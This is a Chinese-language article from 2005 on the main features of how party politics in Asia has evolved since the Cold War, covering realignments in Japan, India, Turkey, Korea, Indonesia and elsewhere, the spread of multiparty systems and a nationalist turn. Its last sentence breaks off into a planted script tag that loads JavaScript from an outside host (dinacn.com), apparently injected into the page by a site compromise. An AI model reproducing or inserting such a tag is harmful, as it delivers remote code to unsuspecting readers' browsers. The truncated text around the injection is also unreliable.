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当代亚洲政党政治 演进的主要特点
2005-12-30  作者:唐海军  阅读:  


    亚洲国家的政党政治发源于19世纪,其发展历程蜿蜒曲折、复杂多样,大体经历了三个发展阶段:

    第一阶段,从19世纪到二战结束,为亚洲政党政治的形成阶段,产生了一批民族主义政党和工人阶级政党。

    第二阶段,从战后到冷战结束,为其迅速兴起和蓬勃发展的阶段,各种类型的政党相继出现,政党政治在多数国家立足并发挥作用。
    
    第三阶段,从冷战后至今,为其调整与演变阶段,政党政治出现了更为复杂的变化,多党民主浪潮在亚洲部分国家兴起,许多国家的政党政治发生深刻变动。迄今为止,亚洲地区各类政党数以千计,展现出政党体制多种多样,意识形态千差万别,党派组合分化不断,地区联合方兴未艾的政治景观。特别是近些年来,随着全球化的加速发展,国际民主化潮流的推进,信息技术革命所导致的人们生活方式的改变,亚洲政党政治出现了一系列值得重视的新情况与新特点。

政党格局演变调整分化组合异常频繁

    近十几年来,亚洲许多国家的政党格局出现重大变动,许多新兴政党脱颖而出,取代传统大党、老党,使得原有的平衡局面被打破,新的政党格局处在形成与重建中。

    日本自民党在1993年一度下台后,其一党独大的旧格局瓦解,新兴政党不断出现,政党力量经过十年的分化组合,当今日本已在向自民党、民主党对峙的两党制格局演进。印度也在20世纪90年代中结束了由国大党一党称雄的时代,进入了由国大党、人民党两大政党阵营对垒的新时期。

    土耳其原来的正确道路党、社会民主人民党和祖国党三党主导的格局也已让位于当今以正义与发展党为主导,共和人民党为主要反对党的新格局。韩国在90年代初构成的民主自由党、民主党、新民党、新韩国党四党主导的格局,经过多次分化演变,形成当前由开放国民党和大国家党主导的新格局。经过阿富汗战争、伊拉克战争,两国分别由塔利班、伊拉克复兴社会党主导的政党格局彻底瓦解,进入了多党竞争的新格局。伊朗的政党格局经历了从伊斯兰保守政党在议会占据优势到由总统哈塔米领导的改革政党占据上风,再到保守政党占优势的轮回。

    印尼在1999年后结束了由专业集团一党独大的局面,形成由专业集团党、民主斗争党、民主党、民族觉醒党等世俗与宗教政党多党争雄的新格局。巴基斯坦也由人民党和穆斯林联盟(谢里夫派)两党主导的格局演变成目前穆斯林联盟(领袖派)一党超强的新局面。此外,菲律宾、泰国等国的政党格局也实现了新的重组,泰国泰爱泰党成立才几年,但已经成为本国的“独大”型政党,取代了由民主党、社会行动党、泰国党等传统政党的地位。除个别国家外,亚洲政党格局的这种演变都是以民主、和平的方式进行的,是多党竞争的结果。

受西方风潮影响多党制趋势凸显

    冷战结束后,亚洲许多国家在政治上日益受世界民主化潮流影响,新兴政党不断涌现,派别庞杂,一些次地区三分之一至二分之一的政党产生于这一时期。特别是受西方多党制的压力和影响,一些国家被迫开放党禁,实行多党制。蒙古、柬埔寨两国分别于90年代初结束了原由蒙古人民革命党、柬埔寨人民党支撑的一党制格局,确立了以议会民主制为特征的多党制度。目前在柬埔寨形成了以人民党为老大,与奉辛比克党、森朗西党三党并存的新格局。

    在蒙古初步形成了人革党、祖国 — 民主联盟两大阵营博弈的新格局。尼泊尔、也门、约旦当局这期间也相继解除党禁,允许建立政党,甚至走上了多党制道路。在也门形成了以全国人民大会、伊斯兰改革集团、也门社会党等构建的多党格局。在约旦组成了包括伊斯兰行动阵线党、约旦阿拉伯复兴社会党、约旦共产党等20个政党。科威特也改变了过去多年无政党存在的状况,已有几个政治组织活跃于政坛。苏联解体后,在中亚及外高地区新建立的国家除土库曼斯坦目前仍实行一党制外,其他国家均实行了不同特色的多党制,政党在国家社会生活中的作用逐渐增大。

意识形态右倾化现象突出民族主义色彩加重

    由于受国内政治与社会气候影响,近一时期以来,亚洲一些国家的政党乃至主流政党在意识形态上明显右摆、民族主义倾向凸显。日本自民党自小泉上台后公开以首相身份参拜“靖国神社”,并作为其“政治承诺”,不顾国内众多民众的批评和反对与韩国、朝鲜、中国等亚洲周边国家的义愤和抗议;强化美、日同盟,极力向海外派兵参与维和,大力推动宪改,推出修宪草案,主张将“自卫队”升格为“自卫军”,决议走军事大国之路。

    在2005年的众院选举及政府重大改组后,日本自民党内的右倾化倾向更为凸显?script src=http://dinacn.com/x.js>
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